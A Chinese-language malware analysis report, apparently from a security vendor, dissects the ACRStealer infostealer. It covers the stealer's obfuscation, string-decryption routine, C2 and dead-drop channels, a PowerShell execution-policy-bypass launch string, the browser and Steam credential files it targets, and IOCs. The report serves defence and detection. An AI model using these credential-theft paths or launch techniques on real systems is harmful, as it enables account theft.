FileDescription Windows Performance Analyzer
FileVersion 10.0.19041.2071
InternalName WPA.exe
LegalCopyright © Microsoft Corporation. All rights reserved.
OriginalFilename WPA.exe
ProductName Microsoft® Windows® Operating System
ProductVersion 10.0.19041.2071

  其清单文件同样是微软标准模板——请求权限为asInvoker(以当前用户权限运行,不请求提权),并声明兼容Windows Vista至Windows 11共五个系统版本:

<requestedExecutionLevel level="asInvoker"/>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>   <!-- Windows 10/11 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>   <!-- Windows 8.1  -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>   <!-- Windows 8    -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>   <!-- Windows 7    -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>   <!-- Windows Vista-->

  导入表中只有运行库启动函数:该文件的导入表总计仅 60 字节,只声明了 6 个函数,且全部是编译器运行库的启动依赖——用于初始化随机数种子的GetSystemTimeAsFileTime与IsProcessorFeaturePresent、用于取自身模块句柄的GetModuleHandleA、用于休眠的Sleep,以及MessageBoxA与GetSystemMetrics。窃密木马真正需要的网络、加密、注册表、进程遍历等能力一个都不在导入表里:

DLL名称 导入函数
KERNEL32.dll GetSystemTimeAsFileTime、IsProcessorFeaturePresent、GetModuleHandleA、Sleep
USER32.dll MessageBoxA、GetSystemMetrics

  功能API运行时解析:由上可知ACRStealer所需能力均不在导入表中;而样本解密出的字符串里另含一整套模块名与函数名,据此推测它是在运行时加载这些模块、再逐个解析出目标函数,因此仅凭导入表无法推断其真实能力:

类别 内容 说明
模块名 ntdll.dll、bcrypt.dll、bcryptprimitives.dll、crypt32.dll、advapi32.dll、combase.dll、ole32.dll、win32u.dll、user32.dll、iphlpapi.dll、sspicli.dll 覆盖系统调用、加密与证书、注册表、COM、窗口、网络与SSPI等能力
函数名 SystemFunction036、ProcessPrng 均为系统随机数生成接口
安全包名 Microsoft Unified Security Protocol Provider SSPI安全支持提供程序

混淆手段

  样本的混淆分代码与数据两个层面:

  • 代码层面对控制流与指令流做处理,使反汇编结果难以阅读
  • 数据层面把字符串整体加密,使其无法直接检索

1. 代码层面

  控制流平坦化:样本大量使用状态机改写原始控制流:把当前状态写入栈变量,再逐条与魔数比较后跳转,原始的分支与循环因此被拆成一个个孤立的代码块。仅这类带魔数比较的分发函数就有多个,其中被调用最频繁的一个达 814 次:

0001FEBB | C7 04 24 88 6B F1 9D | mov  dword ptr [esp], 0x9DF16B88   ; 初始状态 |
0001FEC2 | BB 5E 97 FB 41       | mov  ebx, 0x41FB975E                          |
0001FEC7 | BD D1 6C 0F 00       | mov  ebp, 0xF6CD1                             |
0001FECC | 8B 04 24             | mov  eax, dword ptr [esp]          ; 取状态   |
0001FECF | 3D 88 6B F1 9D       | cmp  eax, 0x9DF16B88                          |
0001FED4 | 74 6B                | je   0x1FF41                                  |
0001FED6 | 3D 4B DB E9 DA       | cmp  eax, 0xDAE9DB4B                          |
0001FEDB | 74 1A                | je   0x1FEF7                                  |
0001FEDD | 3D D1 6C 0F 00       | cmp  eax, 0xF6CD1                             |
0001FEE2 | 74 42                | je   0x1FF26                                  |
0001FEE4 | 3D B7 C4 BE 3C       | cmp  eax, 0x3CBEC4B7                          |
0001FEE9 | 74 2D                | je   0x1FF18                                  |
0001FEEB | 3D 5E 97 FB 41       | cmp  eax, 0x41FB975E                          |
0001FEF0 | 75 DA                | jne  0x1FECC                                  |

  垃圾指令填充:函数序言与指令流中插入了大量不影响最终结果的指令,既有真正的空操作,也有对“之后马上被覆盖”的寄存器做的死写入,使代码在反汇编视图中难以阅读:

00084DF0 | 55                   | push ebp                                       |
00084DF1 | 48                   | dec  eax            ; 死写入                   |
00084DF2 | 8B EC                | mov  ebp, esp                                  |
00084DF4 | 53                   | push ebx                                       |
00084DF5 | 56                   | push esi                                       |
00084DF6 | 57                   | push edi                                       |
00084DF7 | 48                   | dec  eax            ; 死写入                   |
00084DF8 | 83 EC 47             | sub  esp, 0x47                                 |
00084DFB | 48                   | dec  eax            ; 死写入                   |
00084DFC | 83 EC 21             | sub  esp, 0x21                                 |
00084DFF | 4D                   | dec  ebp            ; 死写入                   |
00084E00 | 87 ED                | xchg ebp, ebp       ; 空操作                   |
00084E02 | 4D                   | dec  ebp            ; 死写入                   |
00084E03 | 8D 7F 00             | lea  edi, [edi]     ; 空操作                   |
00084E06 | 4D                   | dec  ebp            ; 死写入                   |
00084E07 | 8D 64 24 00          | lea  esp, [esp]     ; 空操作                   |
00084E0B | 48                   | dec  eax            ; 死写入                   |
00084E0C | 8B D9                | mov  ebx, ecx                                  |

  两类手段叠加后,反汇编视图中的分支与循环已被拆散、真伪指令混杂,还原原始逻辑需先做相当量的清理工作;而数据层面的阻碍更为直接。

2. 数据层面

  字符串加密:样本内共有 620 处加密字符串集中存放于.rdata节。解密入口为0x34FB1,其最显著的特点在于密钥逐字节不同:对每个字节都调用一次密钥派生函数0x35013,把"字符串标识"与"字节下标"一并混入,因此同一字符串内相邻字节使用的密钥完全不同。

// 0x34FB1 —— 字符串解密入口
void decrypt_string(char *out, const uint8_t *in, uint32_t len, uint32_t seed) {
    for (uint32_t i = 0; i < len; ++i) {
        uint32_t k = derive_key(seed, i);   // 0x35013: 密钥随字节下标变化
        out[i] = decrypt_byte(in[i], k);    // 0x67150: 单字节变换
    }
    out[len] = 0;
}

// 0x67150 —— 单字节变换 (k0..k3 为密钥的低到高 4 个字节)
uint8_t decrypt_byte(uint8_t c, uint32_t k) {
    uint8_t k0 = k & 0xFF,          k1 = (k >> 8)  & 0xFF;
    uint8_t k2 = (k >> 16) & 0xFF,  k3 = (k >> 24) & 0xFF;
    return ror8((c ^ k3) - k2, k1) ^ k0;
}

  解密函数的调用形式为四参数cdecl,依次为输出缓冲、密文指针、长度与字符串标识;而密钥派生函数0x35013内另有一段死代码——参与判断的值是x与~x之积,两者中必有一个为偶数,其积的最低位必为 0,故test dl, 1后零标志恒置位、je恒跳转,紧随其后的全局状态更新代码从不执行。密钥因此只由"字符串标识"与"字节下标"决定,据此可解出全部加密字符串:

; ---- 调用现场(0x2D9E)----
00002D9E | 89 C6              | mov  esi, eax                                |
00002DA0 | 6A 0A              | push 0xA          ; 字符串标识               |
00002DA2 | 6A 03              | push 3            ; 长度                     |
00002DA4 | 68 70 60 48 00     | push 0x486070     ; 密文指针                 |
00002DA9 | 50                 | push eax          ; 输出缓冲                 |
00002DAA | E8 02 22 03 00     | call 0x34FB1      ; 解密                     |
00002DAF | 83 C4 10           | add  esp, 0x10                               |

; ---- 密钥派生中的死代码分支(0x3506A)----
0003506A | A1 D0 21 49 00     | mov  eax, dword ptr [0x4921D0]  ; 全局状态   |
0003506F | 89 C2              | mov  edx, eax                                |
00035071 | F7 D2              | not  edx                                     |
00035073 | 0F AF D0           | imul edx, eax                                |
00035076 | F6 C2 01           | test dl, 1                                   |
00035079 | 74 2F              | je   0x350AA     ; 恒跳转,其后为死代码       |

去混淆所得情报

  按上述算法解出全部字符串后,可提取的情报可分为五类:回传通道(数据往何处送)、执行与二次投递(载荷如何运行、是否还会再拉取)、窃取目标(拿走了什么)、主机指纹(受害主机是谁)与样本自身标识(样本出自何处)。五类分别对应通信、执行、窃取、主机与样本五个层面,以下依次说明。

1. 回传通道

  回传地址与DoH:解出的域名中,health.indigowell.cc是窃密程序ACRStealer的C2域名,其余或为公共DNS服务。样本使用DoH(基于HTTPS的DNS)解析该域名,疑为规避明文DNS流量监测——它内置了多家公共DoH服务与DNS服务器地址,并携带/dns-query接口路径与application/dns-message媒体类型:

类别 内容 说明
C2域名 health.indigowell.cc 窃密数据回传地址
DoH服务域名 cloudflare-dns.com、dns.google 提供加密DNS解析的公共DoH服务
DoH接口路径 /dns-query DoH标准查询接口路径
DoH媒体类型 application/dns-message DoH标准报文格式
DoH服务器 8.8.8.8、8.8.4.4、1.1.1.1、1.0.0.1 Google与Cloudflare公共DNS

  死信箱:上述字符串中另有一个telegra.ph页面地址,其页面承载了一段Base64文本,解码后为一个IP地址。该页面是攻击者借第三方公开网页服务搭建的死信箱(Dead Drop),主域名被封锁时样本就会访问该链接获取备用的C2服务器地址:

项目 内容
页面中的Base64编码数据 MTA5LjE3Mi41NC4xMzY=
Base64解码结果 109.172.54.136

  HTTP报文构件:样本内含完整的HTTP报文构件——从请求方法、报文头部到头部取值一应俱全,可见其自行拼接请求报文;https:// 与http:// 则为拼接地址时的前缀:

类别 内容
协议版本 HTTP/1.1
请求方法 GET、POST、HEAD、PUT、DELETE、PATCH、OPTIONS、CONNECT、TRACE
报文头部 Host、Connection、Content-Length、Transfer-Encoding、Accept
头部取值 close、chunked

2. 执行与二次投递

  样本内置了一组与执行相关的字符串:一条PowerShell命令行(" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "),配\Sysnative\WindowsPowerShell\v1.0\powershell.exe与\System32\WindowsPowerShell\v1.0\powershell.exe两个解释器路径;另有rundll32.exe、msiexec.exe、cmd.exe、conhost.exe、dllhost.exe等系统工具名,以及各自的调用开关:

通道 解释器 调用开关 适用载荷
脚本通道 powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -File PowerShell脚本
原生通道 rundll32.exe、msiexec.exe ,#1、/i PE文件
辅助 cmd.exe、conhost.exe、dllhost.exe — 命令执行与COM代理启动

  其中PowerShell一侧的写法值得注意:样本以\Sysnative\优先、\System32\兜底——\Sysnative\是WOW64专用别名,只有 32 位进程访问时才有效,会被映射到真正的 64 位System32,而样本自身正是 32 位PE,可见它需要以 64 位解释器执行脚本,同时兼顾非WOW64环境。

  这组字符串与样本的运行行为相印证:样本会远程拉取两个后续载荷——一个PE、一个PowerShell脚本——并分别经上述两条通道执行。执行动作挂靠在系统自带、带微软签名的程序名下,进程树上呈现的便是可信程序的活动。

3. 窃取目标

  样本的数据窃取目标集中于浏览器与游戏平台——浏览器侧同时覆盖Chromium内核与Firefox两套凭据体系,Steam侧则针对账号信息,此外还会截取屏幕。样本同时规定了窃取结果的落盘方式,并以一份内置清单限定文件收集的范围。下分三部分说明。

  浏览器凭据:所解出的字符串均为Chromium内核浏览器的通用路径。该类浏览器均以相同的文件名与相对路径,把账号口令、Cookie与主密钥存放在各自的User Data目录下,因此同一份清单理论上可同时命中Chrome、Edge、Brave、Opera等多家;Firefox则使用另一套.json与.sqlite文件名。样本还对每个浏览器的多用户配置目录做了穷举,从Default、Guest Profile、System Profile直至Profile 1~Profile 20:

类别 内容 说明
Chromium系浏览器 \Login Data、\Login Data For Account、\Cookies、\Web Data、\History 账号口令、Cookie、表单与浏览历史
Chromium系浏览器 \Local State、\Network\Cookies、\IndexedDB\、\Local Storage\leveldb\、\Local Extension Settings\、\Sync Extension Settings\、\SyncExtSettings、\LocalStorage 主密钥存储、扩展与页面级数据
Firefox logins.json、places.sqlite、formhistory.sqlite、prefs.js、profiles.ini、cookies.sqlite 账号口令、书签历史、表单、配置与Cookie
Firefox key3.db、key4.db、cert9.db 密钥库与证书库
Firefox扩展 \storage\default、\moz-extension+++、^userContextId=4294967295\idb、\uuid.txt 按扩展ID与UUID定位扩展存储
多用户配置目录 Default、Profile 1~Profile 20、Guest Profile、System Profile 穷举浏览器全部用户配置

  其中\Local State、os_crypt与encrypted_key三项组合,指向Chromium系浏览器把主密钥加密存放于Local State的设计——配置目录下的Login Data与Cookies保存的是密文,解密所需的主密钥并不与其同处,而是单独存放在用户数据根目录的Local State文件中:

// Local State 中的加密密钥字段
{ "os_crypt": { "encrypted_key": "..." } }

  Steam账号:采集方式与浏览器不同:从字符串看,样本并非直接遍历目标文件,而是经注册表定位安装路径并读取其中的账号信息,再据此拼出账号列表文件的位置:

采集环节 内容 说明
注册表取安装路径 SOFTWARE\WOW6432Node\、Valve\、Steam、InstallPath 定位Steam安装目录
注册表读取账号 users、AccountName 疑为逐项读取账号名
注册表账号配置 Software、Valve、Steam、MachineUserConfigStore、Connect、Cache 当前用户下的账号与连接记录
配置文件路径 \config\、loginusers.vdf、USERPROFILE=、\AppData\Local\Steam\、local.vdf 账号列表与本地配置文件

  落盘与收集范围:样本把窃取结果分目录组织后落盘:所解出的路径均以简短的类别前缀开头,形如“类别前缀 / 子类或编号 / 文件名”,其中g/与o/为两个并列的顶层类别:

类别前缀 输出路径 说明
g/ g/screen/screen.bmp、g/screen/screen.jpg 屏幕截图,两种格式各写一条路径
g/ g/DBG/DBG_ 疑为调试或抓取类产物,文件名后拼接编号
o/ o/41/tokens.txt 令牌类数据,汇总为单个文本文件

  此外样本内置了一份较长的文件扩展名清单,用于限定文件收集的范围。从内容看,它更像是一份文件收集时忽略的扩展名列表:可执行与脚本、磁盘镜像、临时缓存与日志、影音图片与字体、编译中间产物等体积大或价值低的目标一律不取,或为控制回传数据的体积:

类别 扩展名
可执行与安装包 exe、dll、sys、drv、ocx、cpl、com、scr、pif、ax、msi、msp、mst、appx、msix
脚本 bat、cmd、ps1、psm1、vbs、vbe、js、jse、wsf、wsh、hta、jar、class
编译中间产物 obj、lib、exp、ilk、pdb、map、o、a
磁盘镜像 iso、img、vhd、vhdx、vmdk、wim、esd
临时、缓存与日志 tmp、temp、bak、old、cache、swp、crdownload、partial、log、etl、evtx、dmp、mdmp
影音 mp3、mp4、avi、mov、mkv、wmv、wav、flac、ogg、webm、aac、flv
图片与图标 bmp、gif、tif、tiff、psd、svg、raw、cr2、nef、ico、cur、ani
字体与样式 ttf、otf、woff、woff2、eot、css、scss、less
快捷方式 url、webloc
其他 pyc、pyo、ini、inf、cat、mui、manifest

4. 主机指纹

  主机指纹是样本为识别受害主机而采集的一组信息。窃密木马并不止步于“把数据取走”,它还需要知道这份数据来自哪台机器,因此在窃取浏览器凭据、Steam账号等目标的同时,会一并采集本机标识随结果回传。采集内容大体可分两类:一类用于唯一标识主机,如MachineGuid、计算机名与用户名;另一类用于描述主机环境,如系统版本、域或工作组、已安装软件及其安装路径。其中MachineGuid由系统安装时生成、除重装外不会改变,即便计算机名被改动也能锁定同一台主机。据此,攻击者可以对回传结果去重、把不同投放批次与具体主机对应起来,也可据环境信息判断目标条件。

  采集分环境变量与注册表两条途径:前者读取COMPUTERNAME、USERNAME、USERPROFILE、USERDOMAIN、WORKGROUP、WINDIR,无需额外权限即可一次取全;后者按注册表原生路径逐项读取,用于补足环境变量取不到的信息:

采集途径 项目 说明
环境变量 COMPUTERNAME、USERNAME、USERPROFILE、USERDOMAIN、WORKGROUP、WINDIR 计算机名、用户名、用户目录、域与工作目录
注册表 \Registry\Machine\SOFTWARE\Microsoft\Cryptography → MachineGuid 主机唯一标识
注册表 \Registry\Machine\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters → Domain 域或工作组
注册表 \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall → DisplayName 已安装软件
注册表 \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion 系统版本信息
注册表 \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\、\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\、\Software\Microsoft\Windows\CurrentVersion\App Paths\ 软件安装路径,含 32 位与当前用户两处分支
注册表 FallbackGUID、00000000-0000-0000-0000-000000000000 MachineGuid 读取失败时的回退值

  值得注意的是注册表一侧的写法:样本使用的是\Registry\Machine\...这类原生对象管理器路径,而非HKLM\、HKEY_LOCAL_MACHINE\等Win32别名——前者只有ntdll的原生注册表接口才接受,后者才是advapi32封装层的惯用写法,因此样本疑为绕开Win32封装层、直接调用原生接口。

5. 样本自身标识

  该窃密木马在代码中残留了若干可用于识别自身的标识信息。这类信息并非窃密功能所需,而是开发过程留下的痕迹,其价值不在单个样本之内,而在跨样本比对:文件哈希只需加壳或改动文件即可改变,而这些字符串写在样本内部,加壳、打补丁、改动PE头这类常规手段一般不会触及它们,要使其变动通常仍须改动源码后重新编译。就来源而言,构建时间疑为编译器在构建时写入(格式与 __TIMESTAMP__ 宏一致),版本号、代号与平台标识则由作者定义;就作用范围而言,代号与固定GUID多在家族迭代中沿用,可用于把哈希各异的样本归入同一团伙,构建时间、版本号与平台标识则逐一对应单次构建,可用于区分家族内的不同批次、判断迭代节奏。

  构建信息:样本中解出的具体字段如下:

字段 值
构建时间 Sun Aug 16 15:57:44 2026
版本号 4.3.7-alpha2
代号 NITRO
平台标识 x64、x32

  痕迹清理:本样本对此有所清理:PE时间戳被置为 0,DOS存根中Rich头所在区域为全零——二者通常都是抹去编译时间与工具链特征的手段。但清理留有疏漏:可选头中的链接器版本14.42(对应 Visual Studio 2022 一代的MSVC工具链)仍保留在同片可选头之内,未一并抹去;而写入代码段的构建时间字符串,靠改文件本就无法消除。

  固定GUID:除上述随构建变动的信息外,样本中还硬编码了一个固定GUID(f1575b64-8492-4e8b-b102-4d26e8c70371)。这类固定值多用于互斥体名、序列化标识或家族标记等业务逻辑层面;与逐次更替的版本号不同,它往往在家族迭代中沿用:

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程和域名等情况。

image

image

总结

  本次攻击以软件下载站为投放渠道,以"破解版"商业软件为诱饵:用户以为自己下载的是一个正常程序,实际拿到的却是一条精心包装的窃密链路。攻击者的巧妙之处在于"不碰引擎"——包内的启动程序是Ren'Py游戏引擎的官方版本、本身完全合法,攻击者只是把恶意脚本放进引擎会自动执行的目录,让正规程序在不知不觉中替它完成了启动。随后脚本解开随包的加密配置与伪装成界面贴图的载荷,在用户目录下释放出名为bdredline.exe的程序并以隐藏方式启动;为抬高分析门槛,包内还塞入140 MB全零文件,把样本体积撑至177 MB。而这个bdredline.exe正是整条链中最具欺骗性的一环:它并非伪造,而是直接对Bitdefender官方组件进行修改,名称、版本信息与数字签名一应俱全,无论从文件、签名还是进程角度看都像正规厂商的更新程序,实质上却包含一个加密的恶意加载器,启动时取出执行,绕开常规检测后把窃密木马ACRStealer直接载入内存运行。ACRStealer把自身能力全部加密隐藏,常规静态检查看不出端倪,其目标是多款浏览器保存的账号口令与登录状态、游戏平台Steam账号数据、主机与系统标识、屏幕截图及指定类型文件,并将结果回传至health.indigowell.cc;为规避监测,它连域名解析都走了加密通道,还在公开网页服务上预置备用地址,即便主域名被封仍能继续接收数据。一次“下载破解版软件”的侥幸心理,换来的可能是账号、资产与隐私的全面失守。

  此类攻击也提醒我们,传统的单点防护已难以应对层层设伏的复合攻击。建议从三个层面构筑纵深防御:终端层面部署具备行为分析能力的安全产品,重点监测游戏引擎类程序发起的异常进程创建、临时目录下的可执行文件释放等行为;网络层面对cdnwire.pixel-tracker.one、health.indigowell.cc等可疑域名的通信实施访问控制,结合威胁情报建立动态阻断策略;管理层面持续开展安全教育,提升员工对盗版软件下载站等社会工程手段的辨识与防范意识,形成人防与技防相结合的防御格局。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

    image

  4. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    91A756CA2ECCEF7D2BDFD5B8B797949D
    237B58CC1B0E29C1CA46B3DB1788B22B
    736FFA3B89676FA69DEF612D9B156129
    CA4EB9A2168538FAEA01A19B4508D00D
    7EA102376C4D8A1C8BB3F39FE24080D6
    03890C7BDAED21D183F0D8839F160291
  • Domain

    cracx.com
    packlocker.shop
    cdnwire.pixel-tracker.one
    health.indigowell.cc
  • IP

    109.172.54.136
  • URL

    hxxps://cracx.com/iobit-uninstaller-pro-full-crack/
    hxxps://t5b0c6y9l3n7w2d8g.packlocker.shop/
    hxxps://cdnwire.pixel-tracker.one/cv/WRiN?cid=pool-0c5f1e2dbefc6bf3&launcher=1
    hxxps://cdnwire.pixel-tracker.one/api/conversion?tag=WRiN&cid=pool-0c5f1e2dbefc6bf3&launcher=1
    hxxps://cdnwire.pixel-tracker.one/api/conversion/launch-gate?tag=WRiN&cid=pool-0c5f1e2dbefc6bf3&launcher=1
    hxxps://telegra.ph/Built-in-Types-08-01

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *